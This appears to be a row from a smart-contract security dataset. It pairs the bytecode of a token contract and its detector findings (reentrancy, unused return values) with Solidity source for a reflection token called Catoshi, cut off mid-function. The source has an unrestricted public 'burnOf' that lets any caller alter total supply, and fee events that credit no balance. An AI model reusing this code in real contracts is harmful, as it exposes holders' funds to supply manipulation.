ffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e990612a4d565b60405180910390fd5b60005b8151811015610a8357600160066000848481518110610a1757610a16612eaa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a7b90612e03565b9150506109f5565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ac86110ea565b73ffffffffffffffffffffffffffffffffffffffff1614610ae857600080fd5b6000610af330610735565b9050610afe816119b5565b50565b610b096110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8d90612a4d565b60405180910390fd5b600e60149054906101000a900460ff1615610be6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdd90612acd565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c7930600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006110f2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cbf57600080fd5b505afa158015610cd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf79190612445565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5957600080fd5b505afa158015610d6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d919190612445565b6040518363ffffffff1660e01b8152600401610dae9291906128bd565b602060405180830381600087803b158015610dc857600080fd5b505af1158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e009190612445565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e8930610735565b600080610e946108d9565b426040518863ffffffff1660e01b8152600401610eb69695949392919061290f565b6060604051808303818588803b158015610ecf57600080fd5b505af1158015610ee3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f0891906125e8565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e4000000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161100d9291906128e6565b602060405180830381600087803b15801561102757600080fd5b505af115801561103b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105f91906125bb565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990612aad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c9906129ed565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112b09190612aed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612a8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611394906129ad565b60405180910390fd5b600081116113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790612a6d565b60405180910390fd5b6113e86108d9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561145657506114266108d9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561186757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114ff5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61150857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115b35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116095750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116215750600e60179054906101000a900460ff165b1561169657600f5481111561163557600080fd5b601e426116429190612c23565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506005600a81905550600a600b819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117415750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117975750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117ad576005600a81905550600f600b819055505b60006117b830610735565b9050600e60159054906101000a900460ff161580156118255750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561183d5750600e60169054906101000a900460ff165b156118655761184b816119b5565b6000479050600081111561186357611862476118db565b5b505b505b611872838383611c3d565b505050565b60008383111582906118bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b6919061298b565b60405180910390fd5b50600083856118ce9190612d04565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611943573d6000803e3d6000fd5b5050565b600060085482111561198e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611985906129cd565b60405180910390fd5b6000611998611c4d565b90506119ad8184611c7890919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119ed576119ec612ed9565b5b604051908082528060200260200182016040528015611a1b5781602001602082028036833780820191505090505b5090503081600081518110611a3357611a32612eaa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ad557600080fd5b505afa158015611ae9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b0d9190612445565b81600181518110611b2157611b20612eaa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b8830600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110f2565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bec959493929190612b08565b600060405180830381600087803b158015611c0657600080fd5b505af1158015611c1a573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b611c48838383611cc2565b505050565b6000806000611c5a611e8d565b91509150611c718183611c7890919063ffffffff16565b9250505090565b6000611cba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ef8565b905092915050565b600080600080600080611cd487611f5b565b955095509550955095509550611d3286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fc390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e138161206b565b611e1d8483612128565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e7a9190612aed565b60405180910390a3505050505050505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611ec96b033b2e3c9fd0803ce8000000600854611c7890919063ffffffff16565b821015611eeb576008546b033b2e3c9fd0803ce8000000935093505050611ef4565b81819350935050505b9091565b60008083118290611f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f36919061298b565b60405180910390fd5b5060008385611f4e9190612c79565b9050809150509392505050565b6000806000806000806000806000611f788a600a54600b54612162565b9250925092506000611f88611c4d565b90506000806000611f9b8e8787876121f8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061200583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611877565b905092915050565b600080828461201c9190612c23565b905083811015612061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205890612a0d565b60405180910390fd5b8091505092915050565b6000612075611c4d565b9050600061208c828461228190919063ffffffff16565b90506120e081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61213d82600854611fc390919063ffffffff16565b6008819055506121588160095461200d90919063ffffffff16565b6009819055505050565b60008060008061218e6064612180888a61228190919063ffffffff16565b611c7890919063ffffffff16565b905060006121b860646121aa888b61228190919063ffffffff16565b611c7890919063ffffffff16565b905060006121e1826121d3858c611fc390919063ffffffff16565b611fc390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612211858961228190919063ffffffff16565b90506000612228868961228190919063ffffffff16565b9050600061223f878961228190919063ffffffff16565b905060006122688261225a8587611fc390919063ffffffff16565b611fc390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561229457600090506122f6565b600082846122a29190612caa565b90508284826122b19190612c79565b146122f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e890612a2d565b60405180910390fd5b809150505b92915050565b600061230f61230a84612ba2565b612b7d565b9050808382526020820190508285602086028201111561233257612331612f0d565b5b60005b858110156123625781612348888261236c565b845260208401935060208301925050600181019050612335565b5050509392505050565b60008135905061237b816131d1565b92915050565b600081519050612390816131d1565b92915050565b600082601f8301126123ab576123aa612f08565b5b81356123bb8482602086016122fc565b91505092915050565b6000813590506123d3816131e8565b92915050565b6000815190506123e8816131e8565b92915050565b6000813590506123fd816131ff565b92915050565b600081519050612412816131ff565b92915050565b60006020828403121561242e5761242d612f17565b5b600061243c8482850161236c565b91505092915050565b60006020828403121561245b5761245a612f17565b5b600061246984828501612381565b91505092915050565b6000806040838503121561248957612488612f17565b5b60006124978582860161236c565b92505060206124a88582860161236c565b9150509250929050565b6000806000606084860312156124cb576124ca612f17565b5b60006124d98682870161236c565b93505060206124ea8682870161236c565b92505060406124fb868287016123ee565b9150509250925092565b6000806040838503121561251c5761251b612f17565b5b600061252a8582860161236c565b925050602061253b858286016123ee565b9150509250929050565b60006020828403121561255b5761255a612f17565b5b600082013567ffffffffffffffff81111561257957612578612f12565b5b61258584828501612396565b91505092915050565b6000602082840312156125a4576125a3612f17565b5b60006125b2848285016123c4565b91505092915050565b6000602082840312156125d1576125d0612f17565b5b60006125df848285016123d9565b91505092915050565b60008060006060848603121561260157612600612f17565b5b600061260f86828701612403565b935050602061262086828701612403565b925050604061263186828701612403565b9150509250925092565b60006126478383612653565b60208301905092915050565b61265c81612d38565b82525050565b61266b81612d38565b82525050565b600061267c82612bde565b6126868185612c01565b935061269183612bce565b8060005b838110156126c25781516126a9888261263b565b97506126b483612bf4565b925050600181019050612695565b5085935050505092915050565b6126d881612d4a565b82525050565b6126e781612d8d565b82525050565b60006126f882612be9565b6127028185612c12565b9350612712818560208601612d9f565b61271b81612f1c565b840191505092915050565b6000612733602383612c12565b915061273e82612f2d565b604082019050919050565b6000612756602a83612c12565b915061276182612f7c565b604082019050919050565b6000612779602283612c12565b915061278482612fcb565b604082019050919050565b600061279c601b83612c12565b91506127a78261301a565b602082019050919050565b60006127bf602183612c12565b91506127ca82613043565b604082019050919050565b60006127e2602083612c12565b91506127ed82613092565b602082019050919050565b6000612805602983612c12565b9150612810826130bb565b604082019050919050565b6000612828602583612c12565b91506128338261310a565b604082019050919050565b600061284b602483612c12565b915061285682613159565b604082019050919050565b600061286e601783612c12565b9150612879826131a8565b602082019050919050565b61288d81612d76565b82525050565b61289c81612d80565b82525050565b60006020820190506128b76000830184612662565b92915050565b60006040820190506128d26000830185612662565b6128df6020830184612662565b9392505050565b60006040820190506128fb6000830185612662565b6129086020830184612884565b9392505050565b600060c0820190506129246000830189612662565b6129316020830188612884565b61293e60408301876126de565b61294b60608301866126de565b6129586080830185612662565b61296560a0830184612884565b979650505050505050565b600060208201905061298560008301846126cf565b92915050565b600060208201905081810360008301526129a581846126ed565b905092915050565b600060208201905081810360008301526129c681612726565b9050919050565b600060208201905081810360008301526129e681612749565b9050919050565b60006020820190508181036000830152612a068161276c565b9050919050565b60006020820190508181036000830152612a268161278f565b9050919050565b60006020820190508181036000830152612a46816127b2565b9050919050565b60006020820190508181036000830152612a66816127d5565b9050919050565b60006020820190508181036000830152612a86816127f8565b9050919050565b60006020820190508181036000830152612aa68161281b565b9050919050565b60006020820190508181036000830152612ac68161283e565b9050919050565b60006020820190508181036000830152612ae681612861565b9050919050565b6000602082019050612b026000830184612884565b92915050565b600060a082019050612b1d6000830188612884565b612b2a60208301876126de565b8181036040830152612b3c8186612671565b9050612b4b6060830185612662565b612b586080830184612884565b9695505050505050565b6000602082019050612b776000830184612893565b92915050565b6000612b87612b98565b9050612b938282612dd2565b919050565b6000604051905090565b600067ffffffffffffffff821115612bbd57612bbc612ed9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612c2e82612d76565b9150612c3983612d76565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c6e57612c6d612e4c565b5b828201905092915050565b6000612c8482612d76565b9150612c8f83612d76565b925082612c9f57612c9e612e7b565b5b828204905092915050565b6000612cb582612d76565b9150612cc083612d76565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cf957612cf8612e4c565b5b828202905092915050565b6000612d0f82612d76565b9150612d1a83612d76565b925082821015612d2d57612d2c612e4c565b5b828203905092915050565b6000612d4382612d56565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d9882612d76565b9050919050565b60005b83811015612dbd578082015181840152602081019050612da2565b83811115612dcc576000848401525b50505050565b612ddb82612f1c565b810181811067ffffffffffffffff82111715612dfa57612df9612ed9565b5b80604052505050565b6000612e0e82612d76565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e4157612e40612e4c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6131da81612d38565b81146131e557600080fd5b50565b6131f181612d4a565b81146131fc57600080fd5b50565b61320881612d76565b811461321357600080fd5b5056fe437962727272747275636b207c2068747470733a2f2f742e6d652f437962727272747275636b657263323045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f0edcf31caa8b67055d3801da0d42fedb5d561d023f6adbeb7ff63deda24f3c964736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,107 |
0x6a00b86e30167F73e38bE086081b80213E8266Aa | /*
* Copyright © 2020 reflect.finance. ALL RIGHTS RESERVED.
*/
pragma solidity ^0.6.2;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () public{
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Catoshi is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _supply = 42 * 10**6 * 10**18; // total supply of the catoshi token
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
// TODO: change this out with the final charity wallet address
address private _charityWallet = 0xf81ba5bc55840CC8C28B1978E8870a4eD4779d8D;
// Max transfer size per wallet
uint256 private _MAX_TX_SIZE;
uint private curTime;
constructor (string memory cats_name, string memory cats_symbol) public {
uint256 burnSupply = _supply.div(100).mul(50); // initial burn supply from total supply, 50%
// subtract burn supply from total supply
_tTotal = _supply.sub(burnSupply);
// reflection total from burnt total supply.
_rTotal = (MAX - (MAX % _tTotal));
_rOwned[_msgSender()] = _rTotal; // reflection token owned
_MAX_TX_SIZE = _tTotal.div(100).div(100).mul(25); // 0.25 percent of totalsupply, max transfer per wallet
_name = cats_name; _symbol = cats_symbol;
curTime = now;
emit Transfer(address(0), _msgSender(), _supply); // total supply to contract creator
emit Transfer(_msgSender(), address(0), burnSupply); // initial burn 50% token from contract creator
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
// for another burn like 3.7 million or some more
function burnOf(uint256 tAmount) public {
uint256 currentRate = _getRate();
uint256 rAmount = tAmount.mul(currentRate);
// subtract additional burn from total supply
_tTotal = _tTotal.sub(tAmount);
// subtract additional burn from reflection supply
_rTotal = _rTotal.sub(rAmount);
emit Transfer(_msgSender(), address(0), tAmount);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function getMinute(uint timestamp) public pure returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint diffTime = now - curTime;
// bot protection max 0.25% of total supply per transaction
if(getMinute(diffTime) < 15 ){
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the mxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 burnFee, uint256 charityFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
uint256 currentRate = _getRate();
uint256 rBurnFee = burnFee.mul(currentRate);
_tTotal = _tTotal.sub(burnFee); // subtract 2% burn from total supply
_rTotal = _rTotal.sub(rBurnFee); // subtract 2% burn from reflection supply
emit Transfer(sender, recipient, tTransferAmount);
emit Transfer(sender, _charityWallet, charityFee);
emit Transfer(_msgSender(), address(0), burnFee);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 burnFee, uint256 charityFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
uint256 currentRate = _getRate();
uint256 rBurnFee = burnFee.mul(currentRate);
_tTotal = _tTotal.sub(burnFee); // subtract 2% burn from total supply
_rTotal = _rTotal.sub(rBurnFee); // subtract 2% burn from reflection supply
emit Transfer(sender, recipient, tTransferAmount);
emit Transfer(sender, _charityWallet, charityFee);
emit Transfer(_msgSender(), address(0), burnFee);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 burnFee, uint256 charityFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
uint256 currentRate = _getRate();
uint256 rBurnFee = burnFee.mul(currentRate);
_tTotal = _tTotal.sub(burnFee); // subtract 2% burn from total supply
_rTotal = _rTotal.sub(rBurnFee); // subtract 2% burn from reflection supply
emit Transfer(sender, recipient, tTransferAmount);
emit Transfer(sender, _charityWallet, charityFee);
emit Transfer(_msgSender(), address(0), burnFee);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
